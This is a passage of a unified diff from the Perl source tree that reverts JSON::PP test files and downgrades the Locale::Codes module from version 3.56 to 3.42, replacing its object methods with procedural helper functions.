     my $v = Math::BigInt->VERSION;
     $v =~ s/_.+$// if $v;
@@ -27,24 +27,15 @@ $json->convert_blessed->allow_blessed;
 
 my $num  = $json->decode(q|100000000000000000000000000000000000000|);
 
-ok($num->isa('Math::BigInt'));
+isa_ok($num, 'Math::BigInt');
 is("$num", $fix . '100000000000000000000000000000000000000');
 is($json->encode($num), $fix . '100000000000000000000000000000000000000');
 
-{ #SKIP_UNLESS_PP 2.91_03, 2
-$num  = $json->decode(q|10|);
-
-ok(!(ref $num and $num->isa('Math::BigInt')), 'small integer is not a BigInt');
-ok(!(ref $num and $num->isa('Math::BigFloat')), 'small integer is not a BigFloat');
-}
-
 $num  = $json->decode(q|2.0000000000000000001|);
 
-ok($num->isa('Math::BigFloat'));
+isa_ok($num, 'Math::BigFloat');
 is("$num", '2.0000000000000000001');
 is($json->encode($num), '2.0000000000000000001');
 
-{ #SKIP_UNLESS_PP 2.90, 1
-is($json->encode([Math::BigInt->new("0")]), "[${fix}0]", "zero bigint is 0 (the number), not '0' (the string)" );
-}
+
 }
diff --git a/cpan/JSON-PP/t/113_overloaded_eq.t b/cpan/JSON-PP/t/113_overloaded_eq.t
index 1b61c48fb209..7b56ab3e24fd 100644
--- a/cpan/JSON-PP/t/113_overloaded_eq.t
+++ b/cpan/JSON-PP/t/113_overloaded_eq.t
@@ -1,3 +1,5 @@
+#!/usr/bin/perl
+
 use strict;
 use Test::More tests => 4;
 
diff --git a/cpan/JSON-PP/t/114_decode_prefix.t b/cpan/JSON-PP/t/114_decode_prefix.t
index 915ea1532e77..70d842921fa6 100644
--- a/cpan/JSON-PP/t/114_decode_prefix.t
+++ b/cpan/JSON-PP/t/114_decode_prefix.t
@@ -1,3 +1,5 @@
+#!/usr/bin/perl
+
 use strict;
 use Test::More tests => 8;
 
diff --git a/cpan/JSON-PP/t/116_incr_parse_fixed.t b/cpan/JSON-PP/t/116_incr_parse_fixed.t
index 36e84de7fab0..73c2462bf356 100644
--- a/cpan/JSON-PP/t/116_incr_parse_fixed.t
+++ b/cpan/JSON-PP/t/116_incr_parse_fixed.t
@@ -1,3 +1,5 @@
+#!/usr/bin/perl
+
 use strict;
 use Test::More tests => 4;
 
diff --git a/cpan/JSON-PP/t/117_numbers.t b/cpan/JSON-PP/t/117_numbers.t
deleted file mode 100644
index 73b2a6c826c0..000000000000
--- a/cpan/JSON-PP/t/117_numbers.t
+++ /dev/null
@@ -1,23 +0,0 @@
-use Test::More;
-use strict;
-BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
-use JSON::PP;
-
-#SKIP_ALL_UNLESS_PP 2.90
-#SKIP_ALL_IF_XS
-
-BEGIN { plan tests => 3 }
-
-# TODO ("inf"/"nan" representations are not portable)
-# is encode_json([9**9**9]), '["inf"]';
-# is encode_json([-sin(9**9**9)]), '["nan"]';
-
-my $num = 3;
-my $str = "$num";
-is encode_json({test => [$num, $str]}), '{"test":[3,"3"]}';
-$num = 3.21;
-$str = "$num";
-is encode_json({test => [$num, $str]}), '{"test":[3.21,"3.21"]}';
-$str = '0 but true';
-$num = 1 + $str;
-is encode_json({test => [$num, $str]}), '{"test":[1,"0 but true"]}';
diff --git a/cpan/JSON-PP/t/gh_28_json_test_suite.t b/cpan/JSON-PP/t/gh_28_json_test_suite.t
deleted file mode 100644
index be5366038130..000000000000
--- a/cpan/JSON-PP/t/gh_28_json_test_suite.t
+++ /dev/null
@@ -1,59 +0,0 @@
-# the following test cases are taken from JSONTestSuite
-# by Nicolas Seriot (https://github.com/nst/JSONTestSuite)
-
-use strict;
-use Test::More;
-
-BEGIN { plan skip_all => 'this test is for Perl 5.8 or later' if $] < 5.008; }
-
-BEGIN { plan tests => 20 };
-
-BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
-
-use JSON::PP;
-
-my $DECODER = JSON::PP->new->utf8->allow_nonref;
-
-# n_multidigit_number_then_00
-decode_should_fail(qq!123\x00!);
-
-# number_-01
-decode_should_fail(qq![-01]!);
-
-# number_neg_int_starting_with_zero
-decode_should_fail(qq![-012]!);
-
-# n_object_trailing_comment
-decode_should_fail(qq!{"a":"b"}/**/!);
-
-# n_object_trailing_comment_slash_open
-decode_should_fail(qq!{"a":"b"}//!);
-
-# n_structure_null-byte-outside-sting
-decode_should_fail(qq![\x00]!);
-
-# n_structure_object_with_comment
-decode_should_fail(qq!{"a":/*comment*/"b"}!);
-
-# n_structure_whitespace_formfeed
-decode_should_fail(qq![\0x0c]!);
-
-# y_string_utf16BE_no_BOM
-decode_should_pass(qq!\x00[\x00"\x00\xE9\x00"\x00]!);
-
-# y_string_utf16LE_no_BOM
-decode_should_pass(qq![\x00"\x00\xE9\x00"\x00]\x00!);
-
-sub decode_should_pass {
-    my $json = shift;
-    my $result = eval { $DECODER->decode($json); };
-    ok !$@, $@ || '';
-    ok defined $result;
-}
-
-sub decode_should_fail {
-    my $json = shift;
-    my $result = eval { $DECODER->decode($json); };
-    ok $@, $@ || '';
-    ok !defined $result;
-}
diff --git a/cpan/JSON-PP/t/gh_29_trailing_false_value.t b/cpan/JSON-PP/t/gh_29_trailing_false_value.t
deleted file mode 100644
index bb408e933754..000000000000
--- a/cpan/JSON-PP/t/gh_29_trailing_false_value.t
+++ /dev/null
@@ -1,13 +0,0 @@
-use strict;
-use Test::More;
-
-BEGIN { plan tests => 1 };
-
-BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
-
-use JSON::PP;
-
-{ #SKIP_UNLESS_PP 2.90,1
-    eval { JSON::PP->new->decode('{}0') };
-    ok $@;
-}
diff --git a/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t b/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t
deleted file mode 100644
index b8f4707c73b8..000000000000
--- a/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t
+++ /dev/null
@@ -1,22 +0,0 @@
-use strict;
-use Test::More;
-BEGIN { plan tests => 4 };
-BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
-use JSON::PP;
-
-{ #SKIP_UNLESS_PP 2.90, 1
-eval { decode_json(qq({"foo":{"bar":42})) };
-like $@ => qr/offset 17/; # 16
-}
-
-eval { decode_json(qq(["foo",{"bar":42})) };
-like $@ => qr/offset 17/;
-
-{ #SKIP_UNLESS_PP 2.90, 1
-eval { decode_json(qq(["foo",{"bar":42}"])) };
-like $@ => qr/offset 17/; # 18
-}
-
-eval { decode_json(qq({"foo":{"bar":42}"})) };
-like $@ => qr/offset 17/;
-
diff --git a/cpan/JSON-PP/t/rt_90071_incr_parse.t b/cpan/JSON-PP/t/rt_90071_incr_parse.t
deleted file mode 100644
index dc1fd45cf7ba..000000000000
--- a/cpan/JSON-PP/t/rt_90071_incr_parse.t
+++ /dev/null
@@ -1,29 +0,0 @@
-use strict;
-use Test::More;
-BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
-use JSON::PP;
-
-#SKIP_ALL_UNLESS_PP 2.90
-
-BEGIN { plan tests => 2 };
-
-my $json = JSON::PP->new;
-my $kb = 'a' x 1024;
-my $hash = { map { $_ => $kb } (1..40) };
-my $data = join ( '', $json->encode($hash), $json->encode($hash) );
-my $size = length($data);
-# note "Total size: [$size]";
-my $offset = 0;
-while ($size) {
-    # note "Bytes left [$size]";
-    my $incr = substr($data, $offset, 4096);
-    my $bytes = length($incr);
-    $size -= $bytes;
-    $offset += $bytes;
-    if ($bytes) {
-        $json->incr_parse($incr);
-    }
-    while( my $obj = $json->incr_parse ) {
-        ok "Got JSON object";
-    }
-}
diff --git a/cpan/JSON-PP/t/zero-mojibake.t b/cpan/JSON-PP/t/zero-mojibake.t
index 0ace37016c87..9a9741fe3f7d 100644
--- a/cpan/JSON-PP/t/zero-mojibake.t
+++ b/cpan/JSON-PP/t/zero-mojibake.t
@@ -1,3 +1,5 @@
+#!/usr/bin/perl
+
 use strict;
 use Test::More;
 BEGIN { plan tests => 1 };
diff --git a/cpan/Locale-Codes/lib/Locale/Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes.pm
index 80a859d7f8af..bbe6ab50dd5d 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes.pm
@@ -1,35 +1,25 @@
 package Locale::Codes;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-###############################################################################
-
 use strict;
-use warnings;
 require 5.006;
+use warnings;
 
 use Carp;
-use if $] >= 5.027007, 'deprecate';
 use Locale::Codes::Constants;
 
-our($VERSION);
-$VERSION='3.56';
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-use Exporter qw(import);
-our(@EXPORT_OK,%EXPORT_TAGS);
-@EXPORT_OK   = @Locale::Codes::Constants::CONSTANTS;
-%EXPORT_TAGS = ( 'constants' => [ @EXPORT_OK ] );
+# This module is not called directly... %Data is filled in by the
+# calling modules.
 
-###############################################################################
-# GLOBAL DATA
-###############################################################################
-# All of the data is stored in a couple global variables.  They are filled
-# in by requiring the appropriate TYPE_Codes and TYPE_Retired modules.
-
-our(%Data,%Retired);
+our($VERSION,%Data,%Retired);
 
 # $Data{ TYPE }{ code2id   }{ CODESET } { CODE }  = [ ID, I ]
 #              { id2code   }{ CODESET } { ID }    = CODE
@@ -41,122 +31,27 @@ our(%Data,%Retired);
 # $Retired{ TYPE }{ CODESET }{ code }{ CODE } = NAME
 #                            { name }{ NAME } = [CODE,NAME]  (the key is lowercase)
 
-###############################################################################
-# METHODS
-###############################################################################
-
-sub new {
-   my($class,$type,$codeset,$show_errors) = @_;
-   my $self         = { 'type'     => '',
-                        'codeset'  => '',
-                        'err'      => (defined($show_errors) ? $show_errors : 1),
-                      };
-
-   bless $self,$class;
-
-   $self->type($type)        if ($type);
-   $self->codeset($codeset)  if ($codeset);
-   return $self;
-}
-
-sub show_errors {
-   my($self,$val) = @_;
-   $$self{'err'}  = $val;
-}
+$VERSION='3.42';
 
-sub type {
-   my($self,$type) = @_;
-
-   if (! exists $ALL_CODESETS{$type}) {
-      # uncoverable branch false
-      carp "ERROR: type: invalid argument: $type\n"  if ($$self{'err'});
-      return;
-   }
-
-   # uncoverable branch false
-   if (! $ALL_CODESETS{$type}{'loaded'}) {
-      my $label = $ALL_CODESETS{$type}{'module'};
-      eval "require Locale::Codes::${label}_Codes";
-      # uncoverable branch true
-      if ($@) {
-         # uncoverable statement
-         croak "ERROR: type: unable to load module: ${label}_Codes\n";
-      }
-      eval "require Locale::Codes::${label}_Retired";
-      # uncoverable branch true
-      if ($@) {
-         # uncoverable statement
-         croak "ERROR: type: unable to load module: ${label}_Retired\n";
-      }
-      $ALL_CODESETS{$type}{'loaded'} = 1;
-   }
-
-   $$self{'type'}    = $type;
-   $$self{'codeset'} = $ALL_CODESETS{$type}{'default'};
-}
-
-sub codeset {
-   my($self,$codeset) = @_;
-
-   my $type           = $$self{'type'};
-   if (! exists $ALL_CODESETS{$type}{'codesets'}{$codeset}) {
-      # uncoverable branch false
-      carp "ERROR: codeset: invalid argument: $codeset\n"  if ($$self{'err'});
-   }
-
-   $$self{'codeset'}  = $codeset;
-}
-
-sub version {
-  # uncoverable subroutine
-  # uncoverable statement
-  my($self) = @_;
-  # uncoverable statement
-  return $VERSION;
-}
-
-###############################################################################
-
-# This is used to validate a codeset and/or code.  It will also format
-# a code for that codeset.
+#=======================================================================
 #
-# (ERR,RET_CODE,RET_CODESET) = $o->_code([CODE [,CODESET]])
-#
-#    If CODE is empty/undef, only the codeset will be validated
-#    and RET_CODE will be empty.
-#
-#    If CODE is passed in, it will be returned formatted correctly
-#    for the codeset.
-#
-#    ERR will be 0 or 1.
-#
-#    If $no_check_code is 1, then the code will not be validated (i.e.
-#    it doesn't already have to exist).  This will be useful for adding
-#    a new code.
+# _code ( TYPE,CODE,CODESET )
 #
+#=======================================================================
+
 sub _code {
-   my($self,$code,$codeset,$no_check_code) = @_;
-   $code                    = ''  if (! defined($code));
-   $codeset                 = lc($codeset)  if (defined($codeset));
+   return (1)  if (@_ > 3);
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return (1);
-   }
-   my $type = $$self{'type'};
-   if ($codeset  &&  ! exists $ALL_CODESETS{$type}{'codesets'}{$codeset}) {
-      carp "ERROR: _code: invalid codeset provided: $codeset\n"
-        if ($$self{'err'});
-      return (1);
-   }
+   my($type,$code,$codeset) = @_;
+   $code = ''  if (! defined $code);
 
-   # If no codeset was passed in, return the codeset specified.
+   # Determine the codeset
 
-   $codeset = $$self{'codeset'}  if (! defined($codeset)  ||  $codeset eq '');
-   return (0,'',$codeset)        if ($code eq '');
+   $codeset = $ALL_CODESETS{$type}{'default'}
+     if (! defined($codeset)  ||  $codeset eq '');
+   $codeset = lc($codeset);
+   return (1)  if (! exists $ALL_CODESETS{$type}{'codesets'}{$codeset});
+   return (0,$code,$codeset)  if ($code eq '');
 
    # Determine the properties of the codeset
 
@@ -164,70 +59,47 @@ sub _code {
 
    if      ($op eq 'lc') {
       $code = lc($code);
+      return (0,$code,$codeset);
    }
 
    if ($op eq 'uc') {
       $code = uc($code);
+      return (0,$code,$codeset);
    }
 
    if ($op eq 'ucfirst') {
       $code = ucfirst(lc($code));
+      return (0,$code,$codeset);
    }
 
    # uncoverable branch false
    if ($op eq 'numeric') {
-      if ($code =~ /^\d+$/) {
-         my $l = $args[0];
-         $code    = sprintf("%.${l}d", $code);
-
-      } else {
-         # uncoverable statement
-         carp "ERROR: _code: invalid numeric code: $code\n"  if ($$self{'err'});
-         # uncoverable statement
-         return (1);
-      }
+      return (1)  unless ($code =~ /^\d+$/);
+      my $l = $args[0];
+      $code    = sprintf("%.${l}d", $code);
+      return (0,$code,$codeset);
    }
 
-   # Determine if the code is in the codeset.
-
-   if (! $no_check_code  &&
-       ! exists $Data{$type}{'code2id'}{$codeset}{$code}  &&
-       ! exists $Retired{$type}{$codeset}{'code'}{$code}  &&
-       ! exists $Data{$type}{'codealias'}{$codeset}{$code}) {
-      carp "ERROR: _code: code not in codeset: $code [$codeset]\n"
-        if ($$self{'err'});
-      return (1);
-   }
-
-   return (0,$code,$codeset);
+   # uncoverable statement
+   die "ERROR: codeset not defined correctly: $codeset [$op]\n";
 }
 
-###############################################################################
-
-# $name = $o->code2name(CODE [,CODESET] [,'retired'])
-# $code = $o->name2code(NAME [,CODESET] [,'retired'])
+#=======================================================================
 #
-#    Returns the name associated with the CODE (or vice versa).
+# _code2name ( TYPE,CODE [,CODESET] [,'retired'] )
 #
-sub code2name {
-   my($self,@args)   = @_;
-   my $retired       = 0;
-   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
-      pop(@args);
-      $retired       = 1;
-   }
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return (1);
+sub _code2name {
+   my($type,@args)         = @_;
+   my $retired             = 0;
+   if (@args > 0  &&  $args[$#args]  &&  $args[$#args] eq 'retired') {
+      pop(@args);
+      $retired             = 1;
    }
-   my $type = $$self{'type'};
 
-   my ($err,$code,$codeset) = $self->_code(@args);
-   return undef  if ($err  ||  ! $code);
+   my($err,$code,$codeset) = _code($type,@args);
+   return undef  if ($err);
 
    $code = $Data{$type}{'codealias'}{$codeset}{$code}
      if (exists $Data{$type}{'codealias'}{$codeset}{$code});
@@ -245,27 +117,24 @@ sub code2name {
    }
 }
 
-sub name2code {
-   my($self,$name,@args)   = @_;
+#=======================================================================
+#
+# _name2code ( TYPE,NAME [,CODESET] [,'retired'] )
+#
+#=======================================================================
+
+sub _name2code {
+   my($type,$name,@args)   = @_;
    return undef  if (! $name);
    $name                   = lc($name);
 
-   my $retired       = 0;
-   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
+   my $retired             = 0;
+   if (@args > 0  &&  $args[$#args] eq 'retired') {
       pop(@args);
-      $retired       = 1;
+      $retired             = 1;
    }
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return (1);
-   }
-   my $type = $$self{'type'};
-
-   my ($err,$tmp,$codeset) = $self->_code('',@args);
+   my($err,$tmp,$codeset) = _code($type,'',@args);
    return undef  if ($err);
 
    if (exists $Data{$type}{'alias2id'}{$name}) {
@@ -281,72 +150,58 @@ sub name2code {
    return undef;
 }
 
-# $code = $o->code2code(CODE,CODESET2)
-# $code = $o->code2code(CODE,CODESET1,CODESET2)
+#=======================================================================
 #
-#    Changes the code in the CODESET1 (or the current codeset) to another
-#    codeset (CODESET2)
+# _code2code ( TYPE,CODE,CODESET )
 #
-sub code2code {
-   my($self,@args) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return (1);
-   }
-   my $type = $$self{'type'};
+sub _code2code {
+   my($type,@args) = @_;
 
-   my($code,$codeset1,$codeset2,$err);
-
-   if (@args == 2) {
-      ($code,$codeset2)      = @args;
-      ($err,$code,$codeset1) = $self->_code($code);
-      # uncoverable branch true
-      return undef  if ($err);
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
+   }
 
-   } elsif (@args == 3) {
-      ($code,$codeset1,$codeset2) = @args;
-      ($err,$code)                = $self->_code($code,$codeset1);
-      return undef  if ($err);
-      ($err)                      = $self->_code('',$codeset2);
-      # uncoverable branch true
-      return undef  if ($err);
+   if (@args != 3) {
+      if (! $nowarn) {                                    # uncoverable branch true
+         croak "${type}_code2code() takes 3 arguments!";  # uncoverable statement
+      }
+      return undef;
    }
 
-   my $name    = $self->code2name($code,$codeset1);
-   my $out     = $self->name2code($name,$codeset2);
-   return $out;
-}
+   my($code,$inset,$outset) = @args;
+   my($err,$tmp);
+   ($err,$code,$inset) = _code($type,$code,$inset);
+   return undef  if ($err);
+   ($err,$tmp,$outset) = _code($type,'',$outset);
+   return undef  if ($err);
 
-###############################################################################
+   my $name    = _code2name($type,$code,$inset);
+   my $outcode = _name2code($type,$name,$outset);
+   return $outcode;
+}
 
-# @codes = $o->all_codes([CODESET] [,'retired']);
-# @names = $o->all_names([CODESET] [,'retired']);
+#=======================================================================
 #
-#    Returns all codes/names in the specified codeset, including retired
-#    ones if the option is given.
+# _all_codes ( TYPE [,CODESET] [,'retired'] )
+#
+#=======================================================================
 
-sub all_codes {
-   my($self,@args)   = @_;
-   my $retired       = 0;
-   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
+sub _all_codes {
+   my($type,@args)         = @_;
+   my $retired             = 0;
+   if (@args > 0  &&  $args[$#args] eq 'retired') {
       pop(@args);
-      $retired       = 1;
-   }
-
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return (1);
+      $retired             = 1;
    }
-   my $type = $$self{'type'};
 
-   my ($err,$tmp,$codeset) = $self->_code('',@args);
+   my ($err,$tmp,$codeset) = _code($type,'',@args);
    return ()  if ($err);
 
    my @codes = keys %{ $Data{$type}{'code2id'}{$codeset} };
@@ -354,27 +209,24 @@ sub all_codes {
    return (sort @codes);
 }
 
-sub all_names {
-   my($self,@args)   = @_;
-   my $retired       = 0;
-   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
-      pop(@args);
-      $retired       = 1;
-   }
+#=======================================================================
+#
+# _all_names ( TYPE [,CODESET] [,'retired'] )
+#
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return (1);
+sub _all_names {
+   my($type,@args)         = @_;
+   my $retired             = 0;
+   if (@args > 0  &&  $args[$#args] eq 'retired') {
+      pop(@args);
+      $retired             = 1;
    }
-   my $type = $$self{'type'};
 
-   my ($err,$tmp,$codeset) = $self->_code('',@args);
+   my ($err,$tmp,$codeset) = _code($type,'',@args);
    return ()  if ($err);
 
-   my @codes = $self->all_codes($codeset);
+   my @codes = _all_codes($type,$codeset);
    my @names;
 
    foreach my $code (@codes) {
@@ -391,37 +243,50 @@ sub all_names {
    return (sort @names);
 }
 
-###############################################################################
-
-# $flag = $o->rename_code (CODE,NEW_NAME [,CODESET])
+#=======================================================================
+#
+# _rename ( TYPE,CODE,NAME,CODESET )
 #
 # Change the official name for a code. The original is retained
 # as an alias, but the new name will be returned if you lookup the
 # name from code.
 #
-# Returns 1 on success.
-#
-sub rename_code {
-   my($self,$code,$new_name,$codeset) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
+sub _rename {
+   my($type,$code,$new_name,@args) = @_;
+
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
+   }
+
+   my $codeset  = shift(@args);
+   my $err;
+   ($err,$code,$codeset) = _code($type,$code,$codeset);
+
+   if (! $codeset) {
+      if (! $nowarn) {                                    # uncoverable branch true
+         carp "rename_$type(): unknown codeset\n";        # uncoverable statement
+      }
       return 0;
    }
-   my $type = $$self{'type'};
 
-   # Make sure $code/$codeset are both valid
+   # Check that $code exists in the codeset.
 
-   my($err,$c,$cs) = $self->_code($code,$codeset);
-   if ($err) {
-      carp "ERROR: rename: Unknown code/codeset: $code [$codeset]\n"
-        if ($$self{'err'});
+   my $id;
+   if (exists $Data{$type}{'code2id'}{$codeset}{$code}) {
+      $id = $Data{$type}{'code2id'}{$codeset}{$code}[0];
+   } else {
+      if (! $nowarn) {                                    # uncoverable branch true
+         carp "rename_$type(): unknown code: $code\n";    # uncoverable statement
+      }
       return 0;
    }
-   ($code,$codeset) = ($c,$cs);
 
    # Cases:
    #   1. Renaming to a name which exists with a different ID
@@ -434,16 +299,17 @@ sub rename_code {
    #      Create a new alias
    #      Change code2id (I value)
 
-   my $id = $Data{$type}{'code2id'}{$codeset}{$code}[0];
-
    if (exists $Data{$type}{'alias2id'}{lc($new_name)}) {
       # Existing name (case 1 and 2)
 
       my ($new_id,$i) = @{ $Data{$type}{'alias2id'}{lc($new_name)} };
       if ($new_id != $id) {
          # Case 1
-         carp "ERROR: rename: rename to an existing name not allowed\n"
-           if ($$self{'err'});
+         if (! $nowarn) {                                 # uncoverable branch true
+                                                          # uncoverable statement
+            carp "rename_$type(): rename to an existing $type not allowed\n";
+         }
+
          return 0;
       }
 
@@ -464,40 +330,45 @@ sub rename_code {
    return 1;
 }
 
-###############################################################################
-
-# $flag = $o->add_code (CODE,NAME [,CODESET])
+#=======================================================================
+#
+# _add_code ( TYPE,CODE,NAME,CODESET )
 #
 # Add a new code to the codeset. Both CODE and NAME must be
 # unused in the code set.
 #
-sub add_code {
-   my($self,$code,$name,$codeset) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return 0;
+sub _add_code {
+   my($type,$code,$name,@args) = @_;
+
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
    }
-   my $type = $$self{'type'};
 
-   # Make sure that $codeset is valid.
+   my $codeset  = shift(@args);
+   my $err;
+   ($err,$code,$codeset) = _code($type,$code,$codeset);
 
-   my($err,$c,$cs) = $self->_code($code,$codeset,1);
-   if ($err) {
-      carp "ERROR: rename: Unknown codeset: $codeset\n"
-        if ($$self{'err'});
+   if (! $codeset) {
+      if (! $nowarn) {                                    # uncoverable branch true
+         carp "add_$type(): unknown codeset\n";           # uncoverable statement
+      }
       return 0;
    }
-  ($code,$codeset) = ($c,$cs);
 
    # Check that $code is unused.
 
    if (exists $Data{$type}{'code2id'}{$codeset}{$code}  ||
        exists $Data{$type}{'codealias'}{$codeset}{$code}) {
-      carp "add_code: code already in use: $code\n"  if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+         carp "add_$type(): code already in use: $code\n";# uncoverable statement
+      }
       return 0;
    }
 
@@ -509,7 +380,10 @@ sub add_code {
    if (exists $Data{$type}{'alias2id'}{lc($name)}) {
       ($id,$i) = @{ $Data{$type}{'alias2id'}{lc($name)} };
       if (exists $Data{$type}{'id2code'}{$codeset}{$id}) {
-         carp "add_code: name already in use: $name\n"  if ($$self{'err'});
+         if (! $nowarn) {                                 # uncoverable branch true
+                                                          # uncoverable statement
+            carp "add_$type(): name already in use: $name\n";
+         }
          return 0;
       }
 
@@ -528,36 +402,46 @@ sub add_code {
    return 1;
 }
 
-###############################################################################
-
-# $flag = $o->delete_code (CODE [,CODESET])
+#=======================================================================
+#
+# _delete_code ( TYPE,CODE,CODESET )
 #
 # Delete a code from the codeset.
 #
-sub delete_code {
-   my($self,$code,$codeset) = @_;
+#=======================================================================
+
+sub _delete_code {
+   my($type,$code,@args) = @_;
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
+   }
+
+   my $codeset  = shift(@args);
+   my $err;
+   ($err,$code,$codeset) = _code($type,$code,$codeset);
+
+   if (! $codeset) {
+      if (! $nowarn) {                                    # uncoverable branch true
+         carp "delete_$type(): unknown codeset\n";        # uncoverable statement
+      }
       return 0;
    }
-   my $type = $$self{'type'};
 
-   # Make sure $code/$codeset are both valid
+   # Check that $code is valid.
 
-   my($err,$c,$cs) = $self->_code($code,$codeset);
-   # uncoverable branch true
-   if ($err) {
-      # uncoverable statement
-      carp "ERROR: rename: Unknown code/codeset: $code [$codeset]\n"
-        if ($$self{'err'});
-      # uncoverable statement
+   if (! exists $Data{$type}{'code2id'}{$codeset}{$code}) {
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "delete_$type(): code does not exist: $code\n";
+      }
       return 0;
    }
-   ($code,$codeset) = ($c,$cs);
 
    # Delete the code
 
@@ -588,23 +472,25 @@ sub delete_code {
    return 1;
 }
 
-###############################################################################
-
-# $flag = $o->add_alias (NAME,NEW_NAME)
+#=======================================================================
+#
+# _add_alias ( TYPE,NAME,NEW_NAME )
 #
 # Add a new alias. NAME must exist, and NEW_NAME must be unused.
 #
-sub add_alias {
-   my($self,$name,$new_name) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return 0;
+sub _add_alias {
+   my($type,$name,$new_name,@args) = @_;
+
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
    }
-   my $type = $$self{'type'};
 
    # Check that $name is used and $new_name is new.
 
@@ -612,12 +498,18 @@ sub add_alias {
    if (exists $Data{$type}{'alias2id'}{lc($name)}) {
       $id = $Data{$type}{'alias2id'}{lc($name)}[0];
    } else {
-      carp "add_alias: name does not exist: $name\n"  if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "add_${type}_alias(): name does not exist: $name\n";
+      }
       return 0;
    }
 
    if (exists $Data{$type}{'alias2id'}{lc($new_name)}) {
-      carp "add_alias: alias already in use: $new_name\n"  if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "add_${type}_alias(): alias already in use: $new_name\n";
+      }
       return 0;
    }
 
@@ -630,9 +522,9 @@ sub add_alias {
    return 1;
 }
 
-###############################################################################
-
-# $flag = $o->delete_alias (NAME)
+#=======================================================================
+#
+# _delete_alias ( TYPE,NAME )
 #
 # This deletes a name from the list of names used by an element.
 # NAME must be used, but must NOT be the only name in the list.
@@ -640,17 +532,19 @@ sub add_alias {
 # Any id2name that references this name will be changed to
 # refer to the first name in the list.
 #
-sub delete_alias {
-   my($self,$name) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return 0;
+sub _delete_alias {
+   my($type,$name,@args) = @_;
+
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
